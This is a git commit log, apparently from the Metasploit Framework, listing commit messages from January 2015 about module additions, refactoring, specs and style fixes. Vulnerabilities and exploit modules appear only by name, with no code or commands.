jvazquez-r7 7e2f9b32b3 Add specs for Msf::Jmx::MBean::ServerConnection#create_mbean_stream 2015-01-20 18:59:25 -06:00
jvazquez-r7 0b2d65749b Do better argument handling on Msf::Jmx::Mbean::ServerConnection 2015-01-20 18:46:09 -06:00
jvazquez-r7 dbe7afd3e7 Add dcoumentation for Msf::Jmx::Mbean::ServerConnection 2015-01-20 18:29:21 -06:00
jvazquez-r7 2f2796bfdf Add documentation for Msf::Jmx::Discovery 2015-01-20 18:16:53 -06:00
jvazquez-r7 552f0325be Add documentation for Msf::Jmx::Handshake 2015-01-20 18:11:44 -06:00
jvazquez-r7 625420120c Add documentation for extract_unicast_ref 2015-01-20 17:48:49 -06:00
jvazquez-r7 b97c0fe398 Add Msf::Jmx::Util#extract_unicast_ref 2015-01-20 17:46:42 -06:00
jvazquez-r7 7b675adf01 Add specs for Msf::Jmx::Handshake 2015-01-20 17:29:48 -06:00
Brent Cook 5954e2300f updates based on feedback
Add documentation to the view constants.
Use include? rather than regexes
2015-01-20 16:57:49 -06:00
jvazquez-r7 f3fa4562bd Add specs for Msf::Jmx::Discovery 2015-01-20 16:49:02 -06:00
Tod Beardsley 9017aa0f6b Avoid magic number to make @wvu marginally happier 2015-01-20 16:29:59 -06:00
Tod Beardsley e88c4f1587 Switching from if mod.nil? to unless mod
Because it reads nicer, though `mod` will never be `FalseClass`
2015-01-20 16:21:00 -06:00
jvazquez-r7 39e3f9f892 Add specs for Msf::Jmx::Util 2015-01-20 16:18:53 -06:00
Jon Hart a5e14d5869 Use checkcode status text when not obviously vulnerable, more consistent text 2015-01-20 13:55:48 -08:00
Tod Beardsley 63c66f66a0 Add a second_chance on cmd_use
This is a weak attempt to solve a race condition between modules loading
and cmd_use being fired. Upon startup, saved configurations, running
resource scripts, and running commands will sometimes jump ahead of the
module loading procedure.

I have not discovered where the race actually is and how to cause the
race to happen. However, the timing seems to be fairly close to a second;
by waiting three seconds after trying use again, we seem to be in the
clear, at least according to testing.

Fixes #4549, but better solutions are welcome!
2015-01-20 15:46:29 -06:00
Jon Hart 14fc8d4cd0 Only allow 401/403/404 2015-01-20 13:36:06 -08:00
Brent Cook a42cc2ef1f add support for specifying 32 or 64-bit registry access
This adds an extra parameter to most of the post/windows/registry
methods called 'view' that specifies if a registry key should be
accessed as a native process, 32-bit or 64-bit.

Support is added to both the Meterpreter and command-line backends. For
the command backend, a lot of boilerplate is removed from each method in
favor of a few shared commands. There is an error hash that never gets
used, so I removed it as well.

This passes the post/test/registry module with meterpreter, but fails
the command line backend. However, it fails in the same way without
these changes (tested on Windows 8), so I suspect that the command line
session was already not working well, at least with newer versions of
Windows. I might look into figuring out how to fix that, but it looks
pretty fragile to me, parsing for english phrases in the output.
2015-01-20 15:26:59 -06:00
jvazquez-r7 7d43ec7f93 Add specs for Rex::Java::Serialization::Builder#add_specs 2015-01-20 15:13:30 -06:00
jvazquez-r7 d4a8049ac5 Add specs for Rex::Java::Serialization::Builder#new_object 2015-01-20 15:03:37 -06:00
pdeardorff-r7 0d4d06fb83 Print table for all scans, add preview size option 2015-01-20 11:12:47 -08:00
jvazquez-r7 09fe65eeba Add specs for Rex::Java::Serialization::Builder#new_class 2015-01-20 11:59:33 -06:00
jvazquez-r7 4311226840 Add documentation for Rex::Java::Serialization::Builder 2015-01-20 11:26:52 -06:00
jvazquez-r7 3c718ba5df Reorder Stream building 2015-01-20 11:18:18 -06:00
Paul Deardorff f593c7d79a Merge pull request #1 from jhart-r7/landing-4596-jhart
Improvements to memcached gather module
2015-01-20 09:08:35 -08:00
jvazquez-r7 6ee853fbe2 Use short type of BlockData.new 2015-01-20 10:52:17 -06:00
Jon Hart f1bf607386 Minor Ruby style cleanup 2015-01-20 08:47:47 -08:00
Jon Hart ef89a3d323 Add protocol reference 2015-01-20 08:34:08 -08:00
jvazquez-r7 0584ae8177 Add Rex::Java::Serialization::Builder#new_object 2015-01-20 10:31:37 -06:00
Jon Hart 9c97824d5c Move MAXKEYS to advanced 2015-01-20 08:28:49 -08:00
jvazquez-r7 6ca86256cf Add Rex::Java::Serialization::Builder#new_array 2015-01-20 10:23:09 -06:00
Jon Hart 9d430eb1d5 Use the simpler 'version' command to get the version 2015-01-20 08:16:22 -08:00
Jon Hart 6588f92206 Move rex connection errors to vprint since this is a Scanner 2015-01-20 08:11:09 -08:00
Jon Hart 10100df054 report_service 2015-01-20 08:09:35 -08:00
Jon Hart b0bbce1190 Include peer in most prints 2015-01-20 08:00:02 -08:00
Brent Cook 94fda6e617 Land #4600, jvazquez-r7's Linux meterpreter bins 2015-01-20 09:38:35 -06:00
wez3 bd0a20a717 Update outlook.rb execute_script time_out
I have been using the script in real life cases which have bigger e-mailboxes then in the testing environment. Because of execute_script default time_out no results return, as the powershell scripts run longer then 15 seconds. Changed the timeout to 120.
2015-01-20 11:16:37 +01:00
HD Moore 0b6c324660 Land #4611, add Hathaway's password 2015-01-19 22:06:24 -06:00
sinn3r 76746eb209 New password from Hathaway 2015-01-19 21:45:47 -06:00
jvazquez-r7 f7aaad1cf1 Delete some extraneous commas 2015-01-19 17:25:45 -06:00
jvazquez-r7 dbc77a2857 Land #4517, @pedrib's exploit for ManageEngine Multiple Products Authenticated File Upload
* CVE-2014-5301
2015-01-19 17:23:39 -06:00
jvazquez-r7 6403098fbc Avoid sleep(), survey instead 2015-01-19 17:22:04 -06:00
jvazquez-r7 a6e351ef5d Delete unnecessary request 2015-01-19 17:14:23 -06:00
jvazquez-r7 ed26a2fd77 Avoid modify datastore options 2015-01-19 17:11:31 -06:00
jvazquez-r7 3c0efe4a7e Do minor style changes 2015-01-19 15:36:05 -06:00
rastating 9d3397901b Correct version numbers and code tidy up 2015-01-19 20:59:46 +00:00
jvazquez-r7 ddda0b2f4b Beautify metadata 2015-01-19 14:59:31 -06:00
jvazquez-r7 bb681ba307 Land #4610, add play options to play_youtube 2015-01-19 12:56:08 -06:00
jvazquez-r7 43e0afeaed Delete 's' typo 2015-01-19 12:55:35 -06:00
jvazquez-r7 79a24f80b8 Use constant for play options 2015-01-19 12:50:40 -06:00
jvazquez-r7 652400451e Delete extra k 2015-01-19 12:35:26 -06:00
jvazquez-r7 ec57387821 Add Rex::Java::Serialization::Builder#new_class 2015-01-19 11:54:12 -06:00
jvazquez-r7 4220a5e60f Use Rex::Java::Serialization::Builder#new_class 2015-01-19 11:53:53 -06:00
IMcPwn 50d43f118b Make URLs better
Removes YouTube logo, loops, hides video controls at bottom, disables keyboard controls, doesn't show info about the video on the top, hides video annotations, and doesn't show related videos at the end.
2015-01-19 12:27:18 -05:00
Hans-Martin Münch (h0ng10) 5813c639d1 Initial commit 2015-01-19 17:23:48 +01:00
Borja Merino 1f35347a0c payloads_spec updated 2015-01-19 13:22:49 +01:00
Borja Merino d14413579c HTTP stager based on WinHttp 2015-01-19 13:01:56 +01:00
Christian Mehlmauer 923d1efa19 Land #4607, proxy chains description 2015-01-19 10:23:52 +01:00
William Vu e9a9ab9932 Update spec thingy 2015-01-19 01:38:47 -06:00
Christian Mehlmauer f7d5a45d77 Land #4606, fix proxychains description, fix #4587 2015-01-19 06:55:25 +01:00
William Vu cffa55b12e Improve proxy chain description 2015-01-18 22:32:22 -06:00
jvazquez-r7 86a37b4cff First create NewClassDesc refactoring 2015-01-18 17:47:26 -06:00
Christian Mehlmauer 354e952841 fix msftidy warnings 2015-01-18 23:55:57 +01:00
Christian Mehlmauer 5b964bba6a Land #4518, Wordpress long password DoS 2015-01-18 23:55:06 +01:00
Christian Mehlmauer 6014ff8a31 fix msftidy warnings 2015-01-18 23:54:16 +01:00
Spencer McIntyre a4a721924b Land #4603, @eyalgr's fix for pymeterp tcp over reading 2015-01-18 11:18:30 -05:00
sgabe affc661524 Add module for CVE-2014-4936 2015-01-18 17:18:05 +01:00
eyalgr 7a2f0553a8 Update reverse_tcp.rb
prevent over-reading from socket
2015-01-18 17:32:53 +02:00
eyalgr f12c6a1624 Update meterpreter.py
Read until exactly pkt_length bytes
2015-01-18 15:45:28 +02:00
eyalgr 9c12fcc2f1 Update bind_tcp.rb
Read exactly l bytes
2015-01-18 15:42:09 +02:00
eyalgr 18e15a109a Update bind_tcp.rb
Prevent over reading from socket
2015-01-18 15:35:56 +02:00
eyalgr d83c6ae215 Update meterpreter.py
Read exactly pkt_length from socket, prevents over-reading.
2015-01-18 15:29:23 +02:00
jvazquez-r7 84f5c7ed61 Use extract_string and extract_int 2015-01-18 01:23:19 -06:00
jvazquez-r7 3a3e37ba6c Refactor extract_mbean_server 2015-01-18 01:20:13 -06:00
jvazquez-r7 4247747fc5 Refactor extract_object 2015-01-18 01:13:00 -06:00
William Vu 84ecde30d1 Land #4586, mcafee_epo_xxe aux module 2015-01-18 00:50:10 -06:00
William Vu 57ca285f8a Fix msftidy warnings 2015-01-18 00:49:52 -06:00
William Vu 7c3378b2e6 Land #4593, msftidy extraneous comma check 2015-01-18 00:46:39 -06:00
William Vu cb0257bec7 Land #4576, OpenVAS database import fix 2015-01-18 00:45:36 -06:00
jvazquez-r7 ab391f3b32 Do minor JMX mixin cleanup 2015-01-17 22:40:43 -06:00
pdeardorff-r7 db3185231a add maxkeys option, dont store loot if localhost and improve streaming 2015-01-17 09:25:32 -08:00
nstarke 55a746eeb7 Changing code to catch everything extraneous 2015-01-17 15:46:26 +00:00
root 3a5d6b4717 Store password hash as loot 2015-01-17 14:17:41 +00:00
m7x fcca79bbd0 Merge pull request #2 from jhart-r7/landing-4503
Correct McAfee credential storage, prepare for store_loot
2015-01-17 13:33:09 +00:00
disenchant 243c8561df Merge pull request #1 from jhart-r7/landing-4504-jhart
Unit tests for #4504
2015-01-17 10:52:17 +01:00
sinn3r bff66ade60 Actually, not necessary. Already checked. 2015-01-17 02:28:56 -06:00
sinn3r 45b33bb82f Handle should be checked 2015-01-17 02:27:14 -06:00
sinn3r 4281d9fdf5 Don't use should for rpsec 2015-01-17 01:50:37 -06:00
sinn3r 2e9b99ece6 Update rspec 2015-01-17 01:25:28 -06:00
sinn3r 84030d273b rspec progress 2015-01-16 22:06:49 -06:00
jvazquez-r7 697e4fbd41 Land #4584, @sgabe's fix for egghunter searchforward 2015-01-16 19:36:52 -06:00
jvazquez-r7 a42b095472 Delete heaponly option 2015-01-16 19:35:57 -06:00
jvazquez-r7 859a8978e7 Allow searchforward to be an string 2015-01-16 19:33:19 -06:00
sinn3r 3d93bc06e8 rspec progress 2015-01-16 18:25:54 -06:00
jvazquez-r7 ffc676ead0 Update linux meterp binaries 2015-01-16 17:09:38 -06:00
Tod Beardsley 2cc44cc7c9 Fix typo on module title
Brazenly ignoring process and merging myself.

At least it's still a signed merge commit.
2015-01-16 16:31:58 -06:00
Tod Beardsley 375a7e1fe9 Typo. Filtering. 2015-01-16 16:30:52 -06:00
sgabe 3297d198f3 Fix search-forward option in regular egghunter 2015-01-16 22:16:30 +01:00
Jon Hart 8889f95920 Correct McAfee credential storage, prepare for store_loot 2015-01-16 12:10:01 -08:00
Jon Hart b2e9e43f3d Add unit tests for RPC's getg 2015-01-16 10:39:05 -08:00
David Maloney 17aac619f9 structure.sql update 2015-01-16 12:19:41 -06:00
David Maloney ef821564e8 resolve lockfile conflict Merge branch 'master' into bug/MSP-11643/service-uniqueness-validation
Conflicts:
	Gemfile.lock
	metasploit-framework-db.gemspec
2015-01-16 12:11:05 -06:00
David Maloney 1bb1a51127 updated gemfile and lock file 2015-01-16 12:07:29 -06:00
pdeardorff-r7 f1bcbb7d78 Merge remote-tracking branch 'live/master' into feature/memcached-module 2015-01-16 09:57:17 -08:00
Jon Hart e7566944df Simplify get/getg rspec 2015-01-16 09:48:24 -08:00
Brent Cook a2a1a90678 Land #4316, Meatballs1 streamlines payload execution for exploits/windows/local/wmi
also fixes a typo bug in WMIC
2015-01-16 11:16:22 -06:00
Christian Mehlmauer 596e956660 some changed 2015-01-16 17:53:06 +01:00
Jon Hart c6121f0a37 Add rspec coverage for getg (and set/setg, in a way) 2015-01-16 08:43:14 -08:00
Jon Hart 7f90b68cce Add rspec coverage for get (and set/setg, in a way) 2015-01-16 08:28:32 -08:00
Brent Cook 6a68888712 Land #4590, jvennix-r7's fix for same-scheme URLs
made a trivial string formatting tweak
2015-01-16 09:10:56 -06:00
Brent Cook 7ef721bdd6 Might as well format the url all at once. 2015-01-16 09:01:25 -06:00
James Lee 488847cecc Split smb_cmd_session_setup into with/without esn
Extended Security Negotiation
2015-01-16 07:05:10 -06:00
James Lee 6b6a7e81c9 Style fixes 2015-01-16 06:39:21 -06:00
sinn3r 64b6c4a0b5 I think unless is preferred 2015-01-16 01:33:09 -06:00
sinn3r 058ef1f167 Uh, what? 2015-01-16 01:15:58 -06:00
sinn3r 05458ec81f I should be done with md5_lookup.rb now 2015-01-16 01:13:37 -06:00
jvazquez-r7 c516190d07 Create Msf::Jmx::Util 2015-01-15 23:21:54 -06:00
jvazquez-r7 d9c6c56779 Refactor extract_rmi_connection_stub 2015-01-15 23:15:30 -06:00
jvazquez-r7 2d2f26a0e3 Change method names for stream builders 2015-01-15 23:01:27 -06:00
James Lee 273ba54a21 Fix server/capture/smb to use create_credential 2015-01-15 22:39:11 -06:00
sinn3r 1a808991aa Starting rspec 2015-01-15 21:55:29 -06:00
sinn3r 87ab27e9d2 Ugh, typo -_- 2015-01-15 21:52:15 -06:00
sinn3r 7b2458c491 Filter out whitespace 2015-01-15 21:51:58 -06:00
jvazquez-r7 00117fc963 Do first and ugly refactoring 2015-01-15 21:18:03 -06:00
sinn3r 36f8fda0b1 Leave contact info 2015-01-15 21:04:12 -06:00
sinn3r 95895a5969 Small update 2015-01-15 21:00:52 -06:00
sinn3r 754d303f66 Some more doc 2015-01-15 20:59:47 -06:00
sinn3r 1d79a9de20 This is the working version 2015-01-15 20:51:27 -06:00
jvazquez-r7 26789fa76c Add JMXPayload binary classes for testing 2015-01-15 17:58:09 -06:00
jvazquez-r7 4d35131f59 Provide description and authentication support 2015-01-15 17:57:35 -06:00
Christian Mehlmauer 3237dd8591 add comma check to msftidy 2015-01-16 00:13:55 +01:00
Brandon Perry 1929f36050 Update mcafee_epo_xxe.rb 2015-01-15 16:50:14 -06:00
Jon Hart da1c56a65d Add minimal tests for get/getg 2015-01-15 14:46:12 -08:00
jvazquez-r7 2cd15d0155 Delete comments 2015-01-15 16:43:03 -06:00
jvazquez-r7 cab4787172 Add initial JMX module 2015-01-15 16:41:37 -06:00
Jon Hart ba2c33132b Put Msf::Ui::Console::CommandDispatcher specs in the right location 2015-01-15 14:06:29 -08:00
sinn3r 6ae66315bd Block based is safer 2015-01-15 16:05:35 -06:00
Joe Vennix 8c3d4c8d07 Spelling tweak. 2015-01-15 15:19:46 -06:00
sinn3r 35c808d70f Progress 2015-01-15 15:13:03 -06:00
Jon Hart d68b62cf21 Make canary value (URI) configurable 2015-01-15 13:12:32 -08:00
Joe Vennix 35c9a13199 Handle the usage of // (same-scheme) URLs. 2015-01-15 15:09:50 -06:00
Jon Hart 2dca18265e Track and vprint canary value and code 2015-01-15 12:34:53 -08:00
Brent Cook c1e604f201 Land #4562: wchen-r7's CVE addition 2015-01-15 14:34:37 -06:00
Jon Hart 3489ea540e Make status code checking configurable 2015-01-15 12:22:16 -08:00
Brent Cook bc895ab4d1 Land #4582, jhart-r7's Apple Airport Authentication Avalanche 2015-01-15 14:07:18 -06:00
Jon Hart 4641b02646 Base canary path from TARGET_URI 2015-01-15 12:05:10 -08:00
Jon Hart 7a900cc889 More Ruby-ish way for cmd_get 2015-01-15 11:54:01 -08:00
Brent Cook 47cd5a3e59 Land #4562, wchen-r7's Win8 NtApphelpCacheControl privilege escalation 2015-01-15 13:52:07 -06:00
Jon Hart 8aff50aed1 Make get/getg help more consistent 2015-01-15 11:36:32 -08:00
Jon Hart 45cef82f6c Use appropriate help for get/getg 2015-01-15 11:35:39 -08:00
sinn3r 09eaf80a90 Add CVE 2015-01-15 13:22:00 -06:00
sinn3r 7628b119c6 Land #4588 - GetGo Download Manager module 2015-01-15 12:55:00 -06:00
sgabe 68dc3ce876 Minor code formatting 2015-01-15 19:33:08 +01:00
Gabor Seljan e3450d71de Merge pull request #3 from wchen-r7/pr4588_update
Support configurable resource for getgodm_http_response_bof
2015-01-15 19:28:53 +01:00
sinn3r c3bb02081b I should be done w/ arg parsing now 2015-01-15 12:18:50 -06:00
sinn3r fd850d6af6 Argument parsing 2015-01-15 12:03:52 -06:00
pdeardorff-r7 507050b316 rescue from down memcached server or timeout 2015-01-15 09:51:42 -08:00
pdeardorff-r7 0e893cd772 Merge remote-tracking branch 'live/master' into feature/memcached-module 2015-01-15 09:40:21 -08:00
pdeardorff-r7 4d2ad8865f remove debug line 2015-01-15 09:37:51 -08:00
pdeardorff-r7 154eb7956c fix storing of loot and support localhost session 2015-01-15 09:36:15 -08:00
Brandon Perry 4e4ca15422 Update mcafee_epo_xxe.rb 2015-01-15 11:02:11 -06:00
William Vu 204f0f8ea7 Land #4573, Date/Subject support for SMTPDeliver 2015-01-15 10:53:30 -06:00
Brandon Perry e53522b64b Update mcafee_epo_xxe.rb 2015-01-15 10:28:52 -06:00
sinn3r 57904773e7 Configurable resource 2015-01-15 10:28:03 -06:00
Brandon Perry 86d5358299 Update mcafee_epo_xxe.rb 2015-01-15 09:56:02 -06:00
Gabor Seljan ef0be946b1 Use HttpServer instead of TcpServer 2015-01-15 10:39:17 +01:00
sinn3r d5330bb4a7 Gotta move on to something else right quick, brb
stash
2015-01-14 23:34:47 -06:00
Brandon Perry 53e1304afb Update mcafee_epo_xxe.rb 2015-01-14 18:19:27 -06:00
root f4f4787efe Move run method 2015-01-14 23:54:02 +00:00
Pedro Ribeiro 3768cf0a69 Change version to int and add proper timestamp 2015-01-14 22:59:11 +00:00
jvazquez-r7 41fa542456 Delete jmx invoke spec 2015-01-14 16:51:12 -06:00
jvazquez-r7 621cada2ac Undo build_gc_call_data refactoring 2015-01-14 16:47:28 -06:00
jvazquez-r7 c56f859764 Merge more stream specs 2015-01-14 16:39:36 -06:00
Jon Hart 1f6defda73 Use more correct check codes 2015-01-14 13:10:35 -08:00
sgabe da0fce1ea8 Add module for CVE-2014-2206 2015-01-14 22:04:30 +01:00
David Maloney f42bda1a51 refactor parsing the results
moved the result parsing into its own method
cleaned up run method a bit more, added YARD docs
to the new methods
2015-01-14 14:15:57 -06:00
David Maloney c687ecca2e refactor filter building
move the filter_string into a seperate method
and use shovel oeprator to keep it a little cleaner
2015-01-14 14:04:28 -06:00
sinn3r 18a27d1752 Initial commit of the md5_lookup script (as a standalone tool)
Resolve #4399
2015-01-14 13:53:15 -06:00
David Maloney 9b344a9605 move query fields to a constant
these fields should never change, so put the array
in a constant and freeze it to prevent accidental tampering
2015-01-14 13:20:00 -06:00
David Maloney 82939595f8 Merge branch 'master' into feature/metaballs1/enum_ad_users 2015-01-14 13:06:18 -06:00
jvazquez-r7 70c99748ac Add Stream spec for marshalled argument 2015-01-14 12:05:27 -06:00
jvazquez-r7 a5ae2aadee Add spec for MBeanServerConnection.invoke stream 2015-01-14 11:44:39 -06:00
Brandon Perry 1ed07bac32 Update mcafee_epo_xxe.rb 2015-01-14 11:01:14 -06:00
Brandon Perry 794bb65817 Create mcafee_epo_xxe.rb 2015-01-14 10:54:58 -06:00
dmaloney-r7 052c14be69 Merge pull request #15 from wvu-r7/pr/4573
Fix typo and add Subject support
2015-01-14 09:45:47 -06:00
William Vu f0de45c371 Fix typo and add Subject support 2015-01-14 02:17:29 -06:00
jstnkndy 766a07a904 Add CVE-2015-0975 XXE for OpenNMS <= 14.0.2 2015-01-13 22:08:08 -05:00
jvazquez-r7 915df2029d Add stream spec 2015-01-13 18:35:54 -06:00
rastating 8a89b3be28 Cleanup of various bits of code 2015-01-13 22:20:40 +00:00
sgabe 95eab85df4 Add support for heap-only search in regular egghunter 2015-01-13 21:31:13 +01:00
Jon Hart b7eb4d24aa Squash another rogue 5009 2015-01-13 10:36:43 -08:00
Jon Hart 5cc7d5d1a8 Remove errant pry 2015-01-13 10:35:05 -08:00
Jon Hart ac4eb3bb90 Land #4578, @dlanner's fix for rails_secret_deserialization 2015-01-13 09:37:28 -08:00
jvazquez-r7 36b2771564 Add spec for send_dgc_ack 2015-01-13 11:06:08 -06:00
jvazquez-r7 ad082bc1af Add specs for build_dgc_ack 2015-01-13 11:02:16 -06:00
jvazquez-r7 0babde8c1a Fix specs 2015-01-13 10:48:23 -06:00
jvazquez-r7 4351964290 Change module filename 2015-01-13 10:46:14 -06:00
jvazquez-r7 3946b95bc3 Update rex code and specs 2015-01-13 10:45:00 -06:00
jvazquez-r7 1f0b986bf1 Change filenames 2015-01-13 10:43:27 -06:00
David Lanner c5cfc11d84 fix cookie regex by removing a space 2015-01-12 23:13:18 -05:00
Jon Hart 69f03f5c5d Move ACPP default port into Rex 2015-01-12 19:43:57 -08:00
Jon Hart 4e6879fb1e Add tests for Rex::Proto:ACPP::Message#succesful? 2015-01-12 19:36:12 -08:00
Jon Hart 01a9fb1483 Spelling 2015-01-12 19:29:41 -08:00
Jon Hart a076a9ab89 report_vuln 2015-01-12 19:23:08 -08:00
Jon Hart d5cdfe73ed Big style cleanup 2015-01-12 19:11:14 -08:00
nstarke 9baae6e494 Potential Fix For OpenVAS DB Import Issue 2015-01-13 02:46:13 +00:00
Jon Hart 9721993b8f Allow blank password, remote more unused opts, print private 2015-01-12 18:43:54 -08:00
pdeardorff-r7 99cf668441 add memcached extractor module 2015-01-12 16:40:06 -08:00
rastating 8246f4e0bb Add ability to use both WP and EC attack vectors 2015-01-12 23:30:59 +00:00
Jon Hart 44059a6e34 Disable more unused options 2015-01-12 14:15:40 -08:00
Jon Hart ec506af8ea Make ACPP login work 2015-01-12 14:01:23 -08:00
rastating e6f6acece9 Add a date hash to the post data 2015-01-12 21:21:50 +00:00
Jon Hart e9557ffe58 Simplify module in prep for some authbrute cleanups 2015-01-12 13:08:12 -08:00
Jon Hart 691ed2cf14 More cleanup
Don't validate checksums by default until they are better understood
Handle the unknowns a bit better
Make checksum failures more obvious why it failed
2015-01-12 13:08:12 -08:00
Jon Hart 97f5cbdf08 Add initial Airport ACPP login scanner 2015-01-12 13:08:12 -08:00
Jon Hart fba6945e9a Doc payload oddness. Add more checksum tests 2015-01-12 13:08:12 -08:00
Jon Hart 54eab4ea3d Checksum validation, more tests 2015-01-12 13:08:12 -08:00
Jon Hart 7e4dd4e55b Add ACPP decoding capabilities 2015-01-12 13:08:12 -08:00
Jon Hart 2af82ac987 Some preliminary Apple Airport admin protocol (ACPP?) support 2015-01-12 13:08:11 -08:00
Jon Hart 9e76e0b0d8 Simplify. Document. Handle edge cases
Simplify detection logic.

Document testing method better

Ensure that body doesn't include canary cookie name too

Use full_uri in prints when possible
2015-01-12 11:40:17 -08:00
David Maloney 6dad66c04c add Date header support to SMTP deliver
the SMTP mixin now supports the Date header.
The user can supply a a value for the Date Header
or else it will automatically use the current local
DateTime. This will help alleviate certain issues
caused by servers setting this field for the cliebnt incorrectly

MSP-9390
2015-01-12 11:18:07 -06:00
sinn3r 7876401419 Land #4476 - Lexmark MarkVision Enterprise Arbitrary File Upload 2015-01-12 10:44:23 -06:00
sinn3r 34bbc5be90 print error message about limitation 2015-01-11 20:12:40 -06:00
Jon Hart d4843f46ed Make auth checking optional and off by default 2015-01-11 12:15:57 -08:00
Jon Hart 9491e4c977 Use send_request_raw; set realistic (and often necessary) Referer 2015-01-11 12:10:40 -08:00
rastating ea37e2e198 Add WP EasyCart file upload exploit module 2015-01-10 21:05:02 +00:00
Jon Hart c8f5026fd2 Land #4565, @FireFart's improvement to the msftidy check for bad msf URLs 2015-01-10 11:10:37 -08:00
root 52b929c5ca Fix https://github.com/m7x/metasploit-framework/pull/1#issuecomment-69454590 2015-01-10 14:15:53 +00:00
sinn3r 46d1616994 Hello ARCH_X86_64 2015-01-10 06:16:22 -06:00
m7x ce89d39753 Merge pull request #1 from jhart-r7/landing-4503-jhart
Ruby/Metasploit style cleanup of McAfee hashdump module
2015-01-10 12:06:19 +00:00
jvazquez-r7 49f04faf3f Land #4065, @fozavci's Cisco CUCDM auxiliary modules 2015-01-10 01:11:45 -06:00
jvazquez-r7 05d364180b Beautify descriptions 2015-01-10 01:10:08 -06:00
jvazquez-r7 a2d479a894 Refactor run method 2015-01-10 01:06:56 -06:00
jvazquez-r7 cf9d7d583e Do first code cleanup 2015-01-10 00:51:31 -06:00
jvazquez-r7 000d7dd1eb Minor beautification 2015-01-10 00:32:10 -06:00
jvazquez-r7 1d0e9a2dca Use snake_case filename 2015-01-10 00:29:28 -06:00
jvazquez-r7 070e833d46 Use snake_case filename 2015-01-10 00:28:01 -06:00
jvazquez-r7 59d602f37d Refactor cisco_cucdm_callforward 2015-01-10 00:27:31 -06:00
jvazquez-r7 511a7f8cca send_request_cgi already URI encodes 2015-01-10 00:06:26 -06:00
jvazquez-r7 5d8167dca6 Beautify description 2015-01-10 00:02:42 -06:00
jvazquez-r7 9fb4cfb442 Do First callforward cleanup 2015-01-10 00:00:27 -06:00
jvazquez-r7 f7af0d9cf0 Test landing #4065 into up to date branch 2015-01-09 23:40:16 -06:00
jvazquez-r7 bedbffa377 Land #3700, @ringt fix for oracle_login
* Avoid retrying logins when connection cannot be stablished
2015-01-09 22:59:32 -06:00
jvazquez-r7 38c36b49fb Report when nothing is rescued 2015-01-09 22:58:19 -06:00
Jon Hart 5c12f9da75 More cleanup
Handle multiple versions
Better print_
Actually extract
2015-01-09 18:01:17 -08:00
sinn3r 3c8be9e36d Just x86 2015-01-09 19:12:51 -06:00
sinn3r 7e1b8a1c83 Not needed anymore 2015-01-09 19:05:44 -06:00
sinn3r c79589509c Old comment 2015-01-09 19:04:50 -06:00
sinn3r 74e8e057dd Use RDL 2015-01-09 19:02:08 -06:00
Brent Cook 6d2bc23a7f Land #4567 - OJ kills metcli.exe 2015-01-09 17:27:55 -06:00
OJ dfdf99c8f4 Remove metcli
The metcli.exe binary doesn't get used any more and the source was removed
from Meterpreter ages ago. No point in having it in the repo any more.
2015-01-10 09:21:44 +10:00
OJ 09d91c9a0c Land #4564 - Update to latest meterpreter bins 2015-01-10 09:11:08 +10:00
Brent Cook ce87b126c1 Update to the latest meterpreter_bins
This removes checked-in sniffer extension in favor of the gem-packaged version.
It also pulls in the changes for verifying #4411
2015-01-09 16:57:10 -06:00
Jon Hart b1ca1cc110 Add back TARGETURI because Exploit::Remote::HttpClient doesn't define one (...) 2015-01-09 13:20:18 -08:00
Christian Mehlmauer 56c1f74d70 modify msftidy regex 2015-01-09 22:07:21 +01:00
Jon Hart 831ba8b470 Improve (mis)Fortune Cookie (CVE-2014-9222) scanner 2015-01-09 12:58:35 -08:00
Christian Mehlmauer d4d1a53533 fix invalid url 2015-01-09 21:57:52 +01:00
Christian Mehlmauer fd2307680d Land #4550, wp-symposium file upload 2015-01-09 21:55:02 +01:00
Jon Hart 35fd17c4f1 Cleanup style 2015-01-09 11:00:25 -08:00
jvazquez-r7 3d20ea822e Land #2156, @veritysr exploit for MySQL FILE privilege abuse on Windows
* By uploading payload to All Users startup folder
2015-01-09 12:22:09 -06:00
jvazquez-r7 d65ed54e0c Check STARTUP_FOLDER option 2015-01-09 12:21:01 -06:00
jvazquez-r7 2c633e403e Do code cleanup 2015-01-09 12:07:59 -06:00
jvazquez-r7 d52e9d4e21 Fix metadata again 2015-01-09 11:20:00 -06:00
jvazquez-r7 9dbf163fe7 Do minor style fixes 2015-01-09 11:17:16 -06:00
jvazquez-r7 8f09e0c20c Fix metadata by copying the mysql_mof data 2015-01-09 11:15:32 -06:00
jvazquez-r7 da6496fee1 Test landing #2156 into up to date branch 2015-01-09 11:04:47 -06:00
sinn3r ee5c249c89 Add EDB reference 2015-01-09 00:19:12 -06:00
sinn3r 75de792558 Add a basic check 2015-01-09 00:03:39 -06:00
sinn3r fce564cde2 Meh, not the debug build. Should be the release build. 2015-01-08 22:06:07 -06:00
sinn3r 4911127fe2 Match the title and change the description a little bit 2015-01-08 21:48:01 -06:00
sinn3r f998bfc246 Update exploit.cpp 2015-01-08 21:37:13 -06:00
sinn3r 14c54cbc22 Update DLL 2015-01-08 21:36:02 -06:00
sinn3r b7b3ae4d2a A little randomness 2015-01-08 21:25:55 -06:00
Jon Hart d8743ea32b Land #4539, @Meatballs1's creds cmd now supports type filters, -R for search 2015-01-08 18:48:27 -08:00
Jon Hart 7c4b86ca4c If an unsupported cred type is given to -t, show what is valid 2015-01-08 18:42:25 -08:00
Jon Hart e4547eb474 Land #4537, @wchen-r7's fix for #4098 2015-01-08 17:57:16 -08:00
Jon Hart f13e56aef8 Handle bracketed and unbracketed results, add more useful logging 2015-01-08 17:51:31 -08:00
Jon Hart 14db112c32 Add logging to show executed Java and result 2015-01-08 16:53:12 -08:00
sinn3r eea6ccee1f Source 2015-01-08 18:43:29 -06:00
sinn3r b65013c5c5 Another update 2015-01-08 18:39:04 -06:00
sinn3r b2ff5425bc Some changes 2015-01-08 18:33:30 -06:00
sinn3r 53e6f42d99 This works 2015-01-08 17:57:14 -06:00
jvazquez-r7 ebac17893c Use a new class name 2015-01-08 17:41:29 -06:00
Pedro Ribeiro c76aec60b0 Add OSVDB id and full disclosure URL 2015-01-08 23:29:38 +00:00
jvazquez-r7 97a23788b6 Add unused args to get_once on specs 2015-01-08 17:22:21 -06:00
Jon Hart e4cdac1440 Land #4559, @FireFart's fix for wordpress version detection (from wpscan) 2015-01-08 15:19:29 -08:00
sinn3r 7ed6b3117a Update 2015-01-08 17:18:14 -06:00
sinn3r d3738f0d1a Add DLL 2015-01-08 17:17:55 -06:00
Jon Hart 75726f1e74 Update spec to cover #4559 2015-01-08 15:15:01 -08:00
Brent Cook fb5170e8b3 Land #2766, Meatballs1's refactoring of ExtAPI services
